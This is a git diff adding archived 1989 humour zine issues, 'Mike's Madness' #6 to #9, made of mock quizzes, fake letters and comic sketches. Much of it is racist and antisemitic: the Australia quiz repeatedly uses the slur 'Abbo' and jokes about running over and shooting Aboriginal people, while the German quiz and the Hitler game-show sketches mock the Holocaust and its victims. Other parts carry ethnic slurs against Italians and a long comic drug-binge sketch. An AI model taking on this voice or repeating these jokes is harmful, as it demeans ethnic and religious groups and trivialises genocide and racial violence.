an empty bottle of Foster's lying +besides a comatose Poli-Sci teacher. Pardon, Suzy? A dead Abbo under a +land train's wheels? Well, it's not, but it oghta be. Well, we'll forget +about that. Foreign languages! Okay class, how to we say hello in Italian? +Correct. Grab your crotch with your right hand and give three quick, firm +lifts while yelling 'HEY BUDDY! I got you hangin'!' Yes, Billy? No. No. +NO! 'Fuckin' Mooleys!' is NOT the Italian national saying. Could have fooled +me, tho. Okay, how do jews say 'Fuck you'? Correct, 'Trust me'. Can anyone +here tell me why the Melbourne symphony can't play anything besides 99 +Bottles of Beer on the Wall? Guess I came up snake eyes on that one. What +do we call an Australian with a 6 pack? Correct Suzy, a lightwieght. How +do we greet American tourists? Give us your money and go the fuck home? +Close enough, Billy. How do we great Arabic tourists? We flip 'em the +bird! This is a GREAT class! Alright, here's our 'Are you an Australian' +test! + +1) Australians are rarely . . . +a) rude +b) ill tempered +c) sober + +2) Most Australian children . . . +a) do better in school than their American counterparts +b) grow up in a land of beauty +c) are alcoholics before they can walk + +3) Australians enjoy . . . +a) drinking +b) drinking +c) running over Abbos + +4) Most Australiasn would like to work +a) in their own country +b) in any one of the Pacific Rim nations +c) in a brewery + +5) On any given day, most Australians are . . . +a) hard at work improving their nation +b) enjoying the many scenic wonders of the outback +c) totally shitfaced before 8:30 in the morning + +6) Most Australians love Abbos because . . . +a) of their huge body of creative myths +b) of their knowledge of nature and man's place in it +c) you can run them over without getting in trouble + +7) When an Australian arrives for work . . . +a) he greets his co-workers with a friendly "G'day!" +b) knows his contribution will make Australia a better place for all +c) he has been constantly drunk since he got up that morning + +8) A typical Australian saying is . . . +a) G'day! +b) Fair-dinkum! +c) Oh god, I'm gonna be sick! + +9) The banishment of alcohol from soccer games has resulted in . . . +a) a safer environment for all fans +b) less fights in the stands +c) a total boycott + +10) If beer was banned from Australian soil . . . +a) Aussies would shurg their shoulders and get on with their work +b) the number of highway fatalities would decrease +c) World War III would seem like a formal debate + +11) The fastest car in Australia is faster than a . . . +a) speeding fox +b) speeding bullet +c) speeding Abbo + +12) Another name for drunks in Australia is . . . +a) winos +b) boozies +c) Parliament + +13) Most Australians deeply fear the thought of . . . +a) nuclear war +b) ozone depletion +c) sobriety + +14) By 5 p.m., most Australians are . . . +a) done with work and ready for play +b) watching a wide variety of interesting TV programming +c) out cold + +15) By 2020, the Australian outback will be . . . +a) settled by rugged settlers +b) a productive region of the Australian continent +c) 50 feet deep in empty beer bottles + +16) Australians quit drinking when . . . +a) they're at work +b) they're driving +c) they're dead + +17) If the Prime Minister was to give a speech drunk, it would be . . . +a) a great disgrace to the Australian people +b) an insult to the world community +c) nothing new + +18) 1 second is . . . +a) how long it takes Australia to produce a ton of steel +b) the period between commercials on the BBC +c) the life expectancy of a Foster's in Australia + +19) The Queen's birthday is . . . +a) honored by many of Australia's British nationals +b) carried live on the BBC +c) yet another excuse to drink + +20) Austrlians visit Abbo communities for +a) a better understand of Abbo culture +b) a pleasant break from city life +c) target practice + +21) Driving drunk in Australia is . . . +a) punishable for a 50,000 Pound fine +b) frowned upon by the government +c) the national sport + +22) Australian wines should be . . . +a) served cold +b) kept in cool, dark places +c) avoided at all costs + +23) A typical Australian meal is . . . +a) an interesting blend of British and local foods +b) reasonably priced at most restaurants +c) drank + +24) When an Australian comes home from a trip abroad . . . +a) he thanks God to be back in the most beautiful country in the world +b) he has to check all baggage through customs +c) he is wholly shitfaced 5 minutes after getting off the plane + +25) The hallmark of a native Australian is . . . +a) the distinctive accent +b) his love of all nature +c) being able to drink 3 cases without taking a leak. + + Welp class, score yourself. Tomorrow, we will examine the topic of +Australian Culture and will examine the popular Australian passtime of +getting drunk and obnoxious at cricket matches!" + + diff --git a/textfiles.com/magazines/MIKE/mike06.txt b/textfiles.com/magazines/MIKE/mike06.txt new file mode 100644 index 00000000..283da77c --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike06.txt @@ -0,0 +1,221 @@ +Mikes Madness #6 + +And now . . . + +# 54 A fable + A fable + + The fox and the wolf . . . + + So hanyway, this fox and this wolf were walking down Hollywood and Vine +. . . (oops! Wrong kinda fox and wolf!) . . . uh . . . were trotting through +the forest and the wolf belched. "Sorry," said the wolf apologetically, +"Musta been someone I ate." Luckily, the fox shot him just behind the +base of the skull, thereby saving us from another horrid pun like that. + + Did you ever wonder why you need a highschool degree to get into the +service when all the manuals are written at a 5th grade reading level? + + Can you imagine Hitler bowling? Niether can I. I'm sure bowling was a +lot of fun in Germany if you had a Panzer. "Ach! Another gotterdamerung +gutter shell! Fritz, re-load that puppy with a 55mm hollow-point. I won't +miss this time. The Stuka crews are 8 points ahead! Then again, I'm pretty +sure a 500 pound bomb doesn't leave much standing." + + I can see Hitler water-skiing. But only when I'm wasted. Can you see +Hitler as a father? "ACHTUNG! You vill be cleaning your room or you're +going to bed without torturing any jews!" + + + UCSB: U Can Study Buzzed. Saw it on a tee-shirt. + + + Welp, if I haven't dug my grave deep enough with that previous Australia +quiz, here we go with one more . . . + + + Dear Sirs! + Why can't we have more quizes about Italians? + + Signed, + The Mafia + +And now for the boys down at Guido's Leg Breaker Lounge in Kent, a quiz +about Italians. + +A Quiz About Italians +--------------------- +1) During World War II, Hitler hoped Italy would . . . +a) be a strong member of the Axis powers +b) act as a staging area for activities in the Mediterranean +c) get stomped flat by the Allies before Germany did + +2) Who fired the last 3 shots into Mussolini's body? +a) his own general cabinet leader +b) Italian partisans who saw El Duce' destroy Italy +c) 3,000 Italian sharp-shooters + +3) Most Italians attend soccer games to . . . +a) see the home team win one against the rest of Europe +b) to root for the teams they hope will go to the Olympics +c) get drunk and start fights + +4) Bullfighting is considered inhumane because . . . +a) the bull is drugged and doesn't stand a chance +b) the bullfighter bleeds the bull to sap its strength +c) the bull is about 3 times smarter than the average Italian matador + +5) During World War II, it was a great honor if an Italian ship . . . +a) saw more than 20 battles +b) was asked to join a German action +c) stayed afloat more than 15 minutes + +6) Italians fought so hard for Casino in World War II because they thought... +a) that this would be Italy's last stand +b) Hitler would reward them with new equipment +c) it was a pizza parlor + +7) Hitler chose El Duce' as his Axis counterpart because . . . +a) he needed Italy to take Austria +b) he needed a staging ground for North African actions +c) Hitler thought El Duce' looked a lot like Curley and needed a good laugh + +8) The mention of El Duce' in Italy today will . . . +a) bring a flush of shame on the faces of Italians +b) result in an argument about facism vs. communism in modern Italy +c) bring some huge guy named Vinnie to break your legs + +9) The Patron Saint of Italy is . . . +a) Saint Jehrome +b) Saint Augustus +c) Frank Sinatra + +10) In Italian business, a hostile takeover usually involves . . . +a) lawyers locked in death battles over obscure legal issues +b) corperate heads trying to build the biggest golden parachutes they can +c) gunfire + +11) The Italian airforce lacks helicopters because . . . +a) they don't think the helicopter has a place in jet-age warfare +b) they would rather concentrate on ground forces over air forces +c) the big blade goes "Wop Wop Wop" and the little one goes "Dago Dago Dago" + +12) Most Italians are . . . +a) warm and friendly people +b) kind to tourists +c) wanted in at least 3 countries + +"Uh, 'cuse me Squire. Vinne and I don't like this 'ere quiz. Why don't you do +a quiz 'bout someone else, like the Germans. Or we'll punch you in the mouf." + +And now . . . + +For the two nice gents from Italy, a quiz about . . . Germans! + + (*applause*) + +A quiz about Germans what have no mafia +--------------------------------------- +1) It is a proud day in a German family when a son . . . +a) gets an apprenticeship in the auto industry +b) joins the service +c) can drink his old man under the table + +2) Looting, riots, burning and pillaging are most associated with . . . +a) Crystal Night, 1937 +b) The Russian Occupation, 1945 +c) Octoberfest, 1989 + +3) The best way to get a German to move quickly is to . . . +a) yell "RUN!" +b) yell "FIRE!" +c) yell "HEY! DIDN'T I SEE YOU AT THE NUEMBERG TRIBUNAL?!" + +4) Most Germans scatter and hide under tables . . . +a) during NATO exercises +b) when nuclear drills are rehearsed +c) whenever someone mentions war crimes + +5) Most pilots in the GDR today are . . . +a) the most highly skilled in Europe +b) proud members of the EEC +c) aging Stuka pilots who keep getting flashbacks about Poland + +6) The reason flight 201 went down over Scotland was . . . +a) terrorism +b) mental fatigue +c) Pilot error: The GDR pilot thought he was over Krakow + +7) Had Hitler wanted to win the war, he would have heavily defended . . . +a) aircraft manufacturers +b) heavy weapons plants +c) breweries + +8) In regards to World War II, most Germans . . . +a) wish they had taken a stand when the Nazi party was small and weak +b) wish that the Holocaust never happened +c) wish they had won + +9) The takeover of American firms by German firms is called . . . +a) extro-European business +b) fair competition on a global basis +c) revenge for the Dresden fire bombing + +10) In regards to the Holocaust, most Germans think . . . +a) "What a deep shame it is for all of Germany for the rest of history." +b) "It is our fault for not standing up in the Jew's hour of need." +c) "Better them than us." + +11) When crossing the English Channel, GDR pilots usually . . . +a) check the weather at Heathrow +b) switch over to VOR's on the British side of the Channel +c) start scanning for Spitfires + +12) ______ is not a very popular vacation spot for Germans. +a) Japan +b) China +c) Israel + +13) Perhaps the biggest German business failure ever was . . . +a) attempting to build the Airbus entirely out of German parts +b) trying to export Volkswagons to Japan +c) selling ovens to the Israelis + +14) The biggest German export to America is . . . +a) aerospace technology +b) automobiles +c) skinheads + +15) The Black Forest is filled with . . . +a) wolves +b) foxes +c) skinheads + +16) Given their choice, most GDR pilots would prefer to fly a . . . +a) Boeing 757 +b) European Airbus +c) German ME-109 + +17) Most Germans who fought in World War II are now . . . +a) unified in their belief that the war was a mistake +b) honored in quiet home ceremonies +c) part of the ground between Moscow and Berlin + +18) Had Hitler known any better, he would have . . . +a) gone into the Soviet Union 5 weeks earlier +b) never invaded Poland +c) kept on painting houses + +19) When Germans close their eyes, they dream of . . . +a) owning a BMW +b) sending their kids to an American university +c) Argentina + +20) When asked about the war, most Germans will respond . . . +a) "It is a deep shame for all of us." +b) "May God forgive us for what we have done." +c) "Better luck next time, 'eh?" + +(C) 1989 Yucks For You, Inc. + + diff --git a/textfiles.com/magazines/MIKE/mike07.txt b/textfiles.com/magazines/MIKE/mike07.txt new file mode 100644 index 00000000..ad07e281 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike07.txt @@ -0,0 +1,173 @@ +Mike's Madness #7 + +Do you ever think that George Bush wakes up every morning and says +"Today I'm going to do something." and then goes right back to bed? I do. + +It's The Adolf Hitler Show!!! + +Achtung! Velcome to the Adolf Hitler Show, where our contestants can win +prizes like a fully armed Stuka dive-bomber, the 3'rd African Panzer Corps +and annexation of the Sudetenland! Our first player tonight is from Bristol +and specializes in putting the boot to the groin! Please welcome Mr. Rommel! + +[silence] + +Alright Mr. Rommel, your first question tonight is: +What is the basis for Lenin's interpretation of historical dialecticism?" + + No answer? Bad luck there, it is in fact a 20 page answer, which we won't +be giving you. But for your concellation prize, you get to be mowed down by a +Messerschmidt 109! + + BRRRRRRAAAAAPPPPP! BRAAAAAPPPPPPP! + + What a good sport he was! Now our next contestant . . . Ach! Vere did the +the next contestant go? Ahhh, ve see you hiding under the Panzer! Guards! +Bring the prisoner . . . er . . . the contestant up here, please. Ah, a +little nervous perhaps? This is Mrs. B. J. Jewbaiter from East London. Okay, +Mrs. Jewbaiter, for the lovely Fokker 102 long range bomber, what is the +capitol of the Soviet Union? + 'Ere! I don't know that! + Too bad, then. It is in fact Berlin, AT LEAST IT WAS UNTIL THE FIRST +ARMY RETREATED! BASTARDS! TRAITORS! YOU VILL GO TO THE CAMPS! Heh Heh, a +little joke, yes? Mrs. Jewbaiter, your concellation prize is the entire +Blitz!! + mmmmmmmMMMMMMMMMMMMMWWWWWWAAAAAAAAAAEEEEEEEIIIIII <---- Stuka diving + TWEEEEEEEEEEEEEEEEEEEEE!!!!!!! <---- bomb falling + THWAP! + Oh bad luck there, it was a dud. Right! Right! Mow her down with the +Messerschmit! BRRRRRRAAAAPPP! BRRRRRRAPPPPPP! + Vell, that's all for the Adolf Hitler Show tonight, but join us next week +when our contestants will be the entire population of Yugoslavia. They will +be playing the "Beat the SS" round where they'll be bound like cattle and +mowed down by Germany's finest! + + Ring! Ring! + + Hello, BBC-1. + + I would like the complain on the strongest possible terms about that +last show what featured a German war criminal. Why can't we see more programs +about transvestites? I've been in the Royal Army for 900 years and only +occasionally have I seen my superiors dressed in women's clothing! + + Yours truly, + Major R.R.R. Ploesti (ret.) + + + And now . . . + + Dear Sirs! + I wish to complain about the aforementioned bit what featured Der Fuher +as a game show host. I knew Hitler throughout the war and he only +occasionally hosted Jeopardy. When will this end? + + Zieg Hiel! + Mr. I.M.A. Looney (deceased) + +P.S. I have been totally insane my whole life, but I still know the +difference between a stoat and a Stuka! + +And Now . . . + +JEOPARDY! + +Uh, yes Adolf -- I'll take "Famous German Warplanes" for 500. + +Ach! This famous warplane is currently screaming down over our contestants +carrying a 500 pound magnesium incendiary bomb. Name it for $500 or go to +the camps! + +Yes, it it a Stuka? + +Jumpin' Goerbles, you are right! + +mmmmmmmmmMMMMMMMMWWWWWWWAAAAAHHHHHHHHHIIIIIIEEEEEEEE! +KA-BOOOOOOOOOOM! + +Dear Sirs! + I have been having sex since 1290 and I have learned that sex and humor +don't mix! + Ron the Bastard + + Look! Up in the sky! It's a bird! It's a plane . . . + MMMMMMMMMMWWWWWWWWWWWAAAAAAAAAAAIIIIIIEEEEEEEEEEEEE!!!!!!!! BOOOOOOOM!!! + *moan*, *whimper*, *bleed* + (Yup, it was a plane, alright. Bloody Stukas.) + +SUPER STUKA! + + YES! It's Super Stuka! Fighting for truth, justice and the German way. + See Super Stuka as it bombs Poland . . . + MMMMMMMMMMMMMMWWWWWWWWWAAAAAAAAAAIIIIIIIEEEEEEEEEEEE! BOOOOOOOOOOM! + Yugoslavia . . . + MMMMMMMMMMMMMMWWWWWWWWWAAAAAAAAAAIIIIIIIEEEEEEEEEEEE! BOOOOOOOOOOM! + Russia . . . + MMMMMMMMMMMMMMWWWWWWWWWAAAAAAAAAAIIIIIIIEEEEEEEEEEEE! BOOOOOOOOOOM! + England . . . + MMMMMMMMMMMMMMWWWWWWWWWAAAAAAAAAAIIIIIIIEEEEEEEEEEEE! BOOOOOOOOOOM! + Super Stuka! Coming soon on NBC (Nazi Broadcast Company). + Followed by Rex, the Wonder Dog. Rex was just an ordinary German shepherd +until a beerhall putsch and several months in prison transformed him into +Rex, the Wonder Dog. We talked to Rex's trainer, Rudolf Hess. + +Interviewer: You are Rudolf Hess? +Hess: NIEN! NIEN! I am not Rudolf Hess! +I: It says right here you are. Right on this 'ere card! +H: It's a dirty Ally lie! +I: You ARE Rudolf Hess . . . +H: I am not Rudolf Hess, I am not! +I: Then what's that swastika doin' on your shoulder then? +H: Is not swastika! Is ancient Chinese symbol that means peace and love AND + WE'LL CRUSH THE ENTIRE SOVIET UNION! GRIND THEM INTO DUST! KILL THEM ALL! + ARRRRGGGGGGHH! +I: You're a looney. +H: Uh, ..... Look, I thought we were talking about Rex, the Wonder Dog. +I: Yes. What DOES make him such a wonder? +H: Well, he can sit up, beg, roll over . . . +I: What's so bleedin' impressive about that? +H: While he's having a Stuka shoved up his ass. +I: (Pause) My, that IS impressive. +H: Told ya so. +I: So tell me, Mr. Hess, where did Rex learn this . . . uh . . . talent of + his? +H: Durin' the Invasion of Poland. He was stretchin' one day when this Stuka + comes blazing outta the sky and plows right up his . . . +I: (quickly) Uh yes, Mr. Hess. I would imagine that that particular "talent" + would be hard to work into the TV show. +H: Blimey! You don't know the 'alf of it! Not only has there been an acute + shortage of Stukas since the war, but findin' a pilot that can aim 2 tons + of plane hurling down outta the sky at 500 mph at a spot no bigger than + a silver dollar is bleedin' impossible. +I: Have you had a problem with sponsors? +H: No, No! We have the people from K-Y jelly in line as well as the very nice + folks from Tucks. +I: I see . . . +H: (enthusiasticlly) Oh yes! They were gonna tie in the ad with the show. + Somethin' like: "'ave you 'ad a blazing Stuka shoved up your arse? Why not + try Tucks to ease the pain and itchin'?" and then they were gonna show the + dog using them. +I: Mr. Hess, you are certainly to most revolting person I ever had to + interview. +H: Blimey, you haven't talked to the dog yet! + + + Dear Sirs! + I was a Stuka pilot throughout World War 2 and only on occasion did +I plow my aircraft into a dog's rectal areas! + + Up yours, you bastards! + Lt. Gen. A.B. Middlestone + Eastend, London. + + Dear Sirs! + I wish to complain, on the strongest possible grounds, about that last +letter what was signed by a Lt. General. It is a well known fact that no +person of rank higher than Sergeant ever flew a Stuka during the war. + + Yours sincerly, + Rex, the Wonder Dog. + +(C) 1989 Yucks For You, Inc. + + diff --git a/textfiles.com/magazines/MIKE/mike08.txt b/textfiles.com/magazines/MIKE/mike08.txt new file mode 100644 index 00000000..2ed66857 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike08.txt @@ -0,0 +1,173 @@ +Mike's Madness #8 + +[KZAP - 98.5 FM - Sacramento Area, California] + + Ring Ring . . . Ring Ring . . . Ring Ring . . . Ri: + [click!] + "Hello, KZAP's Psychedelic Sunday." + "Uuuuuuh, hello?" + "Yes, Psychedelic Sunday on KZAP. Can I help you?" + "Ooohh WOW man, I'm rappin' with the dude! Killer!" + "CAN I HELP YOU?" + "Oh yeah, man. I'd like to make a song request . . . wait a sec, okay? +(caller's voice in background) Oh no, man. I don't wanna hit now, I'm +rappin' with the dude! (caller's voice comes back in foreground) Uhhh . . . +hello?" + "YES?!" + "Oh, yeah. Hey, I wanna make a song requ . . . just a second, man. Be back. +(caller's voice in background) HEY MAN! Dude! I was savin' them 'shrooms for +the Dead concert. Oh man! Where am I gonna score somemore before tomorrow? +Dude, this is some shit, man. OOOH! The dude's on the phone! Wait a minute! +(sound of phone being fumbled)(voice comes to foreground) Hello?" + "Hello! Can I hel . . ." + "Yeah . . . uuuuhhhhhh . . . uuuhhhhhhhh . .OH YEAH! I wanna make a song. . . +Oh man, hold on a sec . . . (voice in background) Dude! That's a killer pipe! +Where'd you get that? . . . Oh I know that store . . . Fifteen bucks? Shit, +that'za killer deal, man. Dude, fifteen bucks won't even get you an eighth +of shake! (unless you deal with Mexicans!) Ow yeah. Oh man! The dude's +still on the phone! (phone dropped from table sound) HELLO!? HELLO?! HELLO?! +YOU STILL THERE?! + "Yeeees . . ." + "Killer!" + (5 seconds of silence) + "KZAP'S PSYCHODELIC SUNDAY!! CAN-I-HELP-YOU?!!" + "Oh wow, man! Don't yell into the phone like that! Shit man, I'm blind in +one ear now! Dude, that sucks! My stereo is gonna sound like shit! Why'd ya +haft yell in the phone like that? All I did was call you guys to . . . AH! +YEAH! I wanna make a song reques . . . oh, just a second man. (voice in +background) hey. hey! HEY! Ya you, man. Dude, line me up. Yeah . . . did you +get that from your ex? Oh, I hope it ain't cut with powdered glass! Dude, +she was hella pissed when you took off on her. I bet she misses her stereo, +heh heh heh. Yeah . . . ooohh man, I left the dude on the phone again. Hold +on . . . (voice comes to foreground) HEY! Hold on while I do this line! +(sound of phone dropped from great height hitting a stone floor)(voice in +foreground) Sniff. sniiiiiiiff. snif! ssssssssssssssnnnif! snert! snort! +SNEEEERRRRRFFT! SNNNNNNnnnnnNNNNNNNNOOOOOOOOOORRRTTTT! SNIFF!! SNIFF!! OH +DUDE! IT WAS CUT WITH DRAINO!!! That BITCH! You stupid, STUPID muthafawka. +Oh man! Here comes the DRAIN! AHHHHHHHHHHHHHH! +sssssSSSSSSNNNNNNNNNNNAAAAAAAAAAAAAAAAAWWWWWWWWWWWWWWAAAAAAAAAAAAAHHHHHHHHHWCK! +HAWWWWWWWWWWWWK-*SPLAT*! OHDUDETHATWASHELLAGROSS!!!!!! Dude, you're gonna +need a putty-knife to get that one off the wall. HAhahahahaha. But dude! It +serves you right! Your ex-bitch tried to poison us! Maaaaaan, shit. OH! That +dude's still on the phone. [CLATTER!] HELLO? D.J. dude! You there?" + "Yes I am." + "Oh killer! I wanna make a song re . . . oh shit! just a second, man . . . +(voice to background) DUDE! You held that mirror up where the D.J. dude +could see it on the phone. Keep it down! That dude will see it and call the +drug police. That would suck, man. (voice to foreground) You know, some +people say coke makes you paranoid. I disagree as will the hundreds of +people who listen to my phone calls through taps . . ." + "Pardon?" + "Nothin' man. Yeah, check it out; I wanna make a song request." + "Yeeeeesss?" + "Uhhhhhh . . . Hold on a second . . . [clatter!] Duuuuuuude! Where'd +you get the 'cid? Kil-ler! Two? FOR EACH OF US? Oh RIGHT on! Let's doo it! +See ya in Fryland! Oh, the D.J. dude . . . HELLO? HELL . . . + "YES!" + "Oh right on. Okay, this is the scene man. I wanna make . . . oh, just . . . +just a second (voice to background) Where did you say you got this fry from? +Your ex. Uh-oh. Dude, this isn't good. This isn't good at all. Oh man. Shit. +That fuckin' bitch. She wasn't satisfied just to fuck you, nooOOOOOooo, she +had to take one of your friends down, too. Oh that bitch. Dude, if we live +through this, I'm gonna kill your ex. I swear! That bitch is about to become +a statistic. Maaaaan. I'm gonna run her over with a semi. Yup. SPLAT! Dude, +she might make the cover of California Hiway Patrolman magazine! She'll be +right up there with some guy whose volkswagon got run over by 747. OHHHHH! +The dude . . . (voice in foreground). Is this KZAP's Psychedelic Sunday? + "Uh-huh." + "Dude, I wanna make a s . . . WHOA! JUSTASECOND! (voice yelling in +background) Dude! DUDE! Kill that big ol' fuckin' spider over there! QUICK! +. . . Whaddayamean 'Which one?'?! The big black bastard the size of a +cockerspanial that's chasing those fuzzy pink things. Yeah, THAT ONE! There +ya go! No dude, I don't have a shot-gun . . . hit it with the fuckin' broom! +[SHWAATHUMBP!] Awww you MISSED! Dude . . . Dude! It's hella pissed, dude! +Aw shit! CALL 9-1-1! CALL 9-1-1! Tell 'em we got a big ol' fucking spider +hangin' on our wall and it's pissed off because we . . . no because YOU +tried to hit it with a broom. OH! And don't say anything about drugs. Them +people are cops and they'll call the drug police and that'll suck. And dude! +Ask them if they know the number for 'information' because I forgot it. Fuck +it! I'll call them. [CLATTER!] HELLO?!! HELLO?!! 9-1-1?!! + "This is KZAP's Psychedelic Sund . . ." + "Oh wow man! Dude, I didn't know 9-1-1 connected to you dudes! Right on! +Now I won't have to keep lookin' your number up. That's cool, dude, because +I wanna make a song request." + "And that is?" + "Huh?" + "WHAT SONG DO YOU WANT TO HEAR?!" + (4 seconds of silence) + "DUDE! Now I'm blind in the other ear, too! I told you not to yell into +the phone. And you scared this big ol' fuckin' spide . . . Oh, I'm sorry +dude! I forgot you can't say 'fucking' on the radio. Awww wow. Oh Jesus, +this is some prime fry. Ahhhhh. I'm hella wasted. (voice goes to background) +Dude, are you fryin'? Yeah, this is some good shit. I might not kill your +ex after all. Oh! Where'd that spider go? The wombat ate him . . . thazz +cool. What do wombats eat? Womflyinginsects. Oooohhhhhh . . . I always +wondered about that. Let's turn on the radio and listen to some toons. I +think Psychedelic Sunday in on. OH! The dude on the phone. You turn on +the radio and I'll talk to the dude . . . (clatter)(voice comes to +foreground) HELLO?!?! HELLOHELLOHELLOHELLOHELLOHELLOHELLOHELLOHELLOHELLOHELO +HLOLOOEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEIEIEIEIEIEIEIEIEIEIEIE +IEIEIEIEIEIEIEIEEIIEIEIEIEEIIEIEIEIEIEIEIEIEIEIEIEIE (feedback at 500 watts) + "OH SHIT DUDE! WHERE'D YOUR EX GET THIS FRY?! OHMYFUCKINGGAWD!" + (FEEDBACK FADES) + "TURN DOWN YOUR RADIO!" (omnipresent and thunderingly loud) + "Dude! God's telling us to turn down the Radio! Maybe he doesn't like +60's music . . . HEY! HEY GOD! YOU WANNA HEAR SOME SABBATH?!! I GOT SOME +STRYPER! I GOT 'HOUSES OF THE HOLY'! MAYBE A LITTLE PRIEST? Awwwwww! This is +some hella fry!! Next time I see your ex, I won't kid her about having +'a rainbow of kids'. Hey, you know what? God sounds a lot like the D.J. +on Psychedelic Sunday. Whatta trip. OH! I bet that dude's still on the +phone . . . (voice in foreground) HELLO? KZAP DUDE? HEY . . . + "(exhausted) Yeah?" + "Dude! God sounds like you! I'm not bullshittin'! My friend and I dropped +some fry we got from my friends' ex-wife. She's usually a real bitch and +we thought she might give us screwed fry but it was too late by then because +we had already dropped it. And God told us to turn our radio down! AND HE +SOUNDED JUST LIKE YOU!" + "That was ME, you idiot!" + (stunned silence) + "(voice in background) Dude! GOD WORKS AT K-ZAP! Oh right on! Cool deal! +Let's ask him for a CD player! Yeah! YEAH! Let's get a CD player!! (excited +clatter)(voice comes to foreground) God?! GOD! HEY! HEY! Check it out: Dude! +We want a CD player. And some kill speakers. Oh, and a tuner, too. Mine's +blown. Oh, and hey! Dude, how about a graphic equalizer? OH! HEY! (secretivly) +'can we get some buds? Like, like maybe a few pounds? Indica? Kill Green? +And how about a kilo of good meth crank. Yeah, YEAH. That'd be good. And +a 10,000 hit vial of LSD-25? Sure! And a few kilos of opium. Oh, and some +hash! Just get a few pounds of the black tar kind. Oh coke! We NEED coke. +Uhhh . . . 25 tons oughta be enough. Dude. God. Do you think you could +get that for us?" + "THIS IS OFFICER HAGGERDY OF THE D.E.A., WE'RE TRACING YOUR LINE . . ." + "(dissapointed voice in the background) Duude! God's a NARC!" + "(noise in background of radio station) Just do whatever you need to +to keep him on the line . . ." + "HEY GOD!" + "K-ZAP's Psychedelic Sunday . . ." + "Uh, yeah, God? Yeah . . . OH! I gotta song request . . . AWWWW! (voice +to background) It wasn't God, man. It was the D.J.. Oh man, we're not +gonna get the CD. HEY! Maybe the K-ZAP dude will give us one! (voice to +foreground) HEY! K-ZAP DUDE! I gotta quest . . . + "No." + "OH WOW MAN! Dude, I didn't know you had E.S.P. . . . OH hey, do you +take song requests?" + "Yeeeeeeeeees . . ." + "Cool. I gotta song request . . ." + "What can I get you? Some Floyd? A little Dead? Some Jimmi, perhaps?" + "Naaw man. I wanna hear 'Funky Cold Medeena' by Ton-Loc." + (D.E.A. voices in the background) "Almost got him!" +. . . . . . . S-L-A-M!!! + [CLINCK!] + "Awwww, dude! The K-ZAP dude hung up on me! Whadda asshole! Shit. Hey! +Let's call up 93 Rock and ask for Madonna songs! Sometimes they play 'em +just so we'll leave 'em alone. YEAH! And after that, we'll call up the +public radio station and ask to hear Ozzy and Metallica! Right on! Shit, +it's gonna be hard to top that next Sunday. I hope them D.E.A. dudes +didn't get a trace. That'd be a bitch. + "HEY! We'll call the C&W station and ask for some skinhead music. They +get so pissed that they call out this radio preacher to swear at us over +the airwaves. Ha ha haha haahahahahahahahahaaa!" + + My-oh-my! + +(C) 1989 Yucks For You, INC. + diff --git a/textfiles.com/magazines/MIKE/mike09.txt b/textfiles.com/magazines/MIKE/mike09.txt new file mode 100644 index 00000000..a8181e00 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike09.txt @@ -0,0 +1,116 @@ +Mike's Madness #9 + + Join the Royal Army now and you can win these valuable prizes: + A trip to Bristol + Three crates of Spam + And . . . + 7 years for Crimes against Humanity! + +This issue: Mike expresses his opinions about his favorite music album. + +. . . Think about Pink Floyd's Dark Side of the Moon for a moment. To start +with, we have a smart black cover with a rainbow coming out of an almost +transparent prism. Such soothing imagery. + And then the music. We have instrumentals, a vocal solo, incredible sound +effects, a sometimes heard conversation going on in the background, whiz- +bang technical effects, all wrapped up in a musical commentary about death, +the meaning of life, isolation, madness, capitalism, war, religion and the +military. Each song is rhythmic, and this rhythm can by wholly appreciated +even by the everyday layman. Although, personal experience tells me at least +2 or 3 good sized joints of KGB is needed to get the full effect of the +music. And those can't be no little "California Slurp" joints, either. I +mean fully packed bombers laden with resin-rich buds from plants that have +been under the earth for a few months (or years). You smoke three of these. +You can't move, you can't talk, and your mind just shifts into over-drive. +And that's when Pink Floyd's Dark Side of the Moon and its rich stew of +tunes is at its best. + + What else are you going to listen to??: + +o Polka? No, polkas only conjure up images of fat, drunk, old German men in +shorts stomping drunkly along to music that sounds like it's written to +compliment the scores of farts (mostly comprised of beer, sauerkraut and +polish sausage and have been known to stun small children) that are +constantly being released. + +o Rap? Uh-uh. You hear a single line from a rap song and your mind will +bounce back to your car battery. Remember it? The 3000 cranking amp battery +that cost you three paychecks? And remember how it was in your car when you +walked into "Frank's House of Chicken 'n Ribs" and how it wasn't in your car +when you walked out? Yes, you remember. Well, rap will give you that same +poisoned hate you felt for everyone after you found that one of them had +"sto't yo batt'ry". + +o Heavy Metal? Nooooo you won't. The second you hear the heavy metal +artist's contribution to the store of musical wisdom you'll instantly +realize one of two things: + 1) This music that sounds like a bulldozer hitting a pile of bridge supports +after having been dropped from the top of the Empire State Building is in fact +being sung by a man who is possibly wearing women's clothing. + - or - + 2) I'm very stoned. Too stoned, in fact, to want to listen to music written +for people who amp 21 days straight. Put the Floyd CD back on. + +o Classical: Be serious! This stuff was written by people who were either +totally insane or totally boring. It sounds like music written to combat +insomnia. Three strands of this stuff and you're out. Period. You'll go +comatose and your friend'll have to call up someone to score a dime of crank +to wake your ass back up again. Nope, avoid classical at all costs. + +o Show Tunes? Shirley, you jest! Show Tunes are the Devil's contribution +to music. One stanza of Oklahoma and into your mind snaps the image of some +fading alcoholic actress who quit drinking five minutes before her first +number going onstage and belting out an ode to a state that is best known for +nothing. Nope, avoid these at all costs too. + +o ELO? Hell no! All that stuff was done in the 70's. When you hear it, you +think abou how you used to be in the 70's. And then you think how young you +were in the 70's. And then you think how old you are now. And how much +closer to death you are. And then your whole damn trip turns into a nightmare +reflection upon your own mortality. + + So, as you can plainly see, Pink Floyd's _Dark Side of the Moon_ is the +perfect musical companion for any trip of the head. Enjoy! + + . . . And now a message from the Pope. + + Hello, this is the Pope and I would like to talk to all you young men +about a delicate subject -- self abuse. That's right boys, I wanna talk to +you about jacking off. Cut the shit, boys. You give your willie a whack and +you're going straight to Hell. The Devil's got a special level for boys who +can't keep their hands busy. Just ask any of these famous world leaders: + + Adolf Hitler: A bit of self abuse helped me get through the Invasion of + Poland. + H. Hirohito: A quick one off the wrist made me forget all about Hiroshima. + N. Bonapart: I liked to have a quickie while crossing the Alps. + O. North: I used to flog my dolphin while shredding documents. + R. Reagan: Well, I used to like it before I forgot how. + Senator J. Tower: [RETCH!] Bllaaaaaap!! Peeeewwwwwkk! 